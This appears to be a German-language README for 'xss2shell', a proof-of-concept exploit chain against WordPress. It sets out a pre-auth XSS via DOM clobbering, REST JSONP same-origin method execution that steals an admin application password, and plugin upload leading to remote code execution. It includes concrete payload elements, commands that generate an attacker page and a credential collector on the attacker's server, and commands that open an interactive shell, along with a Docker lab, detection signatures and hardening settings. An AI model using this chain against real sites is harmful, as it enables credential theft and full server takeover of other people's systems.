
PoC-Exploit-Kette für WordPress-Pre-Auth-XSS zu RCE über DOM-Clobbering, REST-JSONP/SOME und Plugin-Upload, mit Docker-Lab-Verifizierung und interaktiver Shell.
WordPress Pre-Auth-XSS → RCE-Exploit-Kette, basierend auf Forschung von pwn.ai, veröffentlicht auf ionsec.io.
⚠️ RECHTLICHER HINWEIS: Nur für BILDUNGSZWECKE und AUTORISIERTE TESTS. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
| Schritt | Technik | Status |
|---|---|---|
| 1 | Parser-Differential-XSS (sanitize_user + Browser-Parse-Lücke) | ✅ Verifiziert |
| 2 | DOM-Clobbering (<area id=ajaxurl>, <div id=color-picker>) | ✅ Verifiziert |
| 3 | user-profile.js Auto-Trigger auf der Login-Seite | ✅ Verifiziert |
| 4 | REST-JSONP-Callback erlaubt Dot-Traversal (window.opener.approve.click) | ✅ Verifiziert |
| 5 | Überschreibung durch _method=GET + _envelope=1 | ✅ Verifiziert |
| 6 | Diebstahl von Anwendungspasswörtern (SOME) | ⚠️ Erfordert Admin-Klick |
| 7 | Plugin-Upload → PHP-Ausführung (ohne Aktivierung) | ⚠️ Erfordert Anmeldedaten |
Siehe lab/VERIFICATION_REPORT.md für vollständige Details.
Step 1: Parser Differential XSS
└─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
Browser parses these as real HTML elements in login error message
Step 2: DOM Clobbering
└─ <area id=ajaxurl> → shadows window.ajaxurl (HTMLAreaElement)
<div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
<button class="wp-generate-pw color-option"> → delegated click handler
Step 3: user-profile.js Auto-Trigger
└─ Enqueued on wp-login.php (line 1398)
$('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
$.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)
Step 4: REST API JSONP + SOME
└─ _jsonp=window.opener.approve.click → Same Origin Method Execution
_envelope=1 → bypass auth error, wrap response in 200
wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal
Step 5: Social Engineering (1 click)
└─ Admin sees real /wp-admin/authorize-application.php page
Clicks "Approve" → application password minted
Step 6: Credential Theft
└─ Password appears in redirect query string → read by child window (same-origin)
Step 7: Plugin Upload → RCE
└─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
PHP files directly executable WITHOUT activation
pip install requests
python3 xss2shell_poc.py --target https://wp-target.com --check
# Mit Burp-Suite-Proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl
python3 xss2shell_poc.py --target https://wp-target.com \
--attacker-host https://your-server.com --generate-page
Laden Sie xss2shell_attacker.html und collect.php auf Ihren Server hoch.
Ein angemeldeter WordPress-Admin muss die Angreiferseite besuchen und einmal klicken.
Die Anmeldedaten erscheinen in collected_creds.json auf Ihrem Server:
[
{
"timestamp": "2026-08-08T...",
"username": "admin",
"password": "AbCd 1234 EfGh 5678",
"site": "https://wp-target.com"
}
]
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --rce
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --shell
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --cleanup
Signaturen, nach denen Sie in Server-Logs suchen sollten:
POST /wp-login.php mit Body, der < area, < div, < button enthält_jsonp= (insbesondere _jsonp=a.b.c — der Punkt ist das SOME-Indiz)_envelope=1 + _method=GET auf Routen, die diese ablehnen solltenPOST /wp-admin/update.php?action=upload-plugin von nicht erkannter IPGET /wp-content/plugins/{unknown-plugin}/*.php — PHP-Datei in einem nie aktivierten Pluginauthorize-application.php erstelltadd_filter('wp_is_application_passwords_available', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');
define('DISALLOW_FILE_MODS', true);
_jsonp= und _envelope= an REST-Endpunkten; blockieren Sie < area im POST-Body an wp-login.phpxss2shell/
├── README.md # Documentation (this file)
├── xss2shell_poc.py # Main PoC script
├── xss2shell_attacker.html # Generated attacker page
├── collect.php # Credential collector endpoint
└── lab/
├── docker-compose.yml # Docker lab (WP 6.0.3)
├── VERIFICATION_REPORT.md # Step-by-step verification
├── test_sanitize.php # sanitize_user() tests
├── test_full_payload.php # Full payload chain test
├── test_browser.html # DOM clobbering browser test
├── test_end_to_end.php # End-to-end PHP test
└── verify_xss.sh # Automated curl tests
| Element | Detail |
|---|
| CVE | CVE-2026-64638 |
| CVSS 4.0 | 8.9 |
| Betroffen | WordPress 4.7 – 7.0.2 (nicht gepatchte Point-Releases) |
| Behoben | WordPress 7.0.3 (6. August 2026), zurückportiert auf alle Wartungszweige |
| Authentifizierung | Pre-Auth (nicht authentifiziertes XSS) |
| Auswirkung | RCE per Plugin-Upload |